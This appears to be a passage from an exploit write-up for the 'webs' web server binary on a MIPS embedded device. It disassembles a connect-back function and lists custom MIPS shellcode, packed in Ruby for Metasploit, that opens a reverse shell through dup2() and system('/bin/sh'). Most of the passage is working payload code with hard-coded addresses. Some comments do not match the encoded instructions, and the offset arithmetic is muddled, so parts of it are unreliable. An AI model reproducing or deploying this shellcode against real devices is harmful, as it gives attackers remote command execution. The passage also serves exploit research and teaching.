When looking at the imports for the binary webs, there was an import for dup2(). After cross-referencing the import, it turned out that there was a function that creates a TCP connection and returns the file descriptor (FD). The code snippet below is that exact function from webs at offset 0x00411300.
00411300 loc_411300: # CODE XREF: LOAD:0041153Cj
00411300 addiu $sp, -0x30
00411304 sw $ra, 0x2C($sp)
00411308 sw $s0, 0x28($sp)
0041130C li $gp, 0x49C740
00411314 sw $gp, 0x10($sp)
00411318 li $a1, ":"
0041131C la $t9, strchr
00411320 jalr $t9 ; strchr
00411324 move $s0, $a0 # Requires one argument
00411328 lw $gp, 0x10($sp)
0041132C beqz $v0, loc_4113E0 # Argument must be a string and must contain the character ':'
00411330 addiu $a0, $v0, 1 # Pass the value from ':'+1 to strtol()
00411334 la $t9, strtol
00411338 move $a1, $zero
0041133C li $a2, 0xA
00411340 jalr $t9 ; strtol
00411344 sb $zero, 0($v0) # Overwrite the found ':' character with NULL
00411348 li $v1, 2
0041134C move $a0, $s0 # Source String\x00
00411350 lw $gp, 0x10($sp)
00411354 sh $v1, 0x18($sp)
00411358 la $t9, gethostbyname
0041135C jalr $t9 ; gethostbyname
00411360 sh $v0, 0x1A($sp) # ...wait a second...
00411364 lw $gp, 0x10($sp)
00411368 bnez $v0, loc_411388
[snip]
00411388 lw $v1, 0x10($v0)
0041138C la $t9, memcpy
00411390 lw $a1, 0($v1)
00411394 lw $a2, 0xC($v0)
00411398 jalr $t9 ; memcpy
0041139C addiu $a0, $sp, 0x1C
004113A0 li $a0, 2
004113A4 lw $gp, 0x10($sp)
004113A8 li $a1, 2
004113AC la $t9, socket
004113B0 jalr $t9 ; socket # ...is this...
004113B4 li $a2, 6
004113B8 lw $gp, 0x10($sp)
004113BC bltz $v0, loc_4113E4
004113C0 move $s0, $v0
004113C4 la $t9, connect
004113C8 move $a0, $v0
004113CC addiu $a1, $sp, 0x18
004113D0 jalr $t9 ; connect # ...oh my
004113D4 li $a2, 0x10
004113D8 bgez $v0, loc_4113E8
004113DC move $v0, $s0
004113E0 li $s0, 0xFFFFFFFF
004113E4 move $v0, $s0 # FD returned by socket()
004113E8 lw $ra, 0x2C($sp)
004113EC lw $s0, 0x28($sp)
004113F0 jr $ra
004113F4 addiu $sp, 0x30
All that was done afterwards was to pass the returned FD to dup2() for stdin (0), stdout (1), and stderr (2) and then call system(‘/bin/sh’).
The following shellcode does the following:
- Create stack frame for shellcode with an arbitrary offset
- Load pointer to call functions within webs by seting $t7 to 0x00404810
- We would normally use a simple lui + ori instruction to load the register with the function address, but the address contains a null-byte.
- To avoid the null-byte, we need to piece together the address by loading the address from the stack at an offset of 0x1688 to t7.
- The value at sp+1688 is 0x00411300.
- In order to reach our desired function at 0x00404810, we need to add an offset to the address we loaded into t7
- 0x00411300 – 0x00404810 = 0xcaf0
- Call function at offset 0x00411300 which takes the string “ip:addr”, connects back to it, and returns the socket fd
- Store the socket fd onto the stack, then load it into $a0 for the dup2() loop
- We can’t use the instruction ‘move a0, v0’ because it contains null-bytes
- Create dup2() loop for stdin, stdout, stderr
- Call system(“/bin/sh”)
- Readjust the stack
The code for the reverse shell is shown below.
### Custom Shellcode ###
### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener
## Create stack frame for shellcode
## The offset is arbitrary and -0x0504 was chosen by random.
shellcode = [0x27bdfafc].pack("N") # addiu sp, sp, -0x0504
## Set $t7 = 0x00404810 (PTR to _ftext; manually found on the stack)
## Used to call functions within webs. Load the address from the stack at an offset of 0x1688 to t7. The value at sp+1688 is 0x00411300.
shellcode << [0x8faf0698].pack("N") # lw t7, 1688(sp) # sp+1688 is 0x00411300
## Call 0x00411300(str)
## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd
shellcode << [0x3508CAF0].pack("N") # ori t0, t0, 0xCAF0
shellcode << [0x01e8c821].pack("N") # addu t9, t7, t0
shellcode << [0x3908CAF0].pack("N") # xori t0,t0, 0xCAF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x27a405ac].pack("N") # addiu a0, sp, 0x5ac # ptr to lhost:lport
## Store Socket fd onto stack and then load it into a0 for the dup2() loop
## The instruction 'move a0, v0' contains NULL bytes.
shellcode << [0xafa20104].pack("N") # sw v0, 0x0104(sp)
shellcode << [0x8fa40104].pack("N") # lw a0, 0x0104(sp)
## dup2(a0,a1) for 0,1,2
## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3
## Delay slot: 'addiu a1, a1, -1'
## Call dup2() @ 0x2AAD5EF0
## bne a1,t0, -7 instructions (t0 == 0)
## Delay slot: NOP via 'lui s0, 0x4141'
shellcode << [0x25051005].pack("N") # addiu a1, t0, 0x1005
shellcode << [0x24a5effe].pack("N") # addiu a1, a1, -0x1002 # a1 = 3
shellcode << [0x3c192aad].pack("N") # lui t9, 0x2AAD
shellcode << [0x37395ef0].pack("N") # ori t9, t9, 0x5EF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9 # dup2()
shellcode << [0x24a5ffff].pack("N") # addiu a1, a1, -1
shellcode << [0x14A0FFFD].pack("N") # bnez a1, -8 # if a1 != zero: jump back 8 bytes (2 instructions)
shellcode << [0x3c104141].pack("N") # [nop] lui s0, 0x4141
## call system('/bin/sh') @ 0x2AAF0810
## a0 == /bin/sh @ 0x2AAFF3D0
shellcode << [0x3c042AAF].pack("N") # lui a0, 0x2AAF
shellcode << [0x3c192AAF].pack("N") # lui t9, 0x2AAF
shellcode << [0x37390810].pack("N") # ori t9, t9, 0x5FB0 # system
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x3484F3D0].pack("N") # ori a0, a0, 0xF3D0 # /bin/sh
## Move stack back
## Must be the same value used before, but negated (0x0504)
shellcode << [0x27bd0504].pack("N") # addiu sp, sp, 0x0504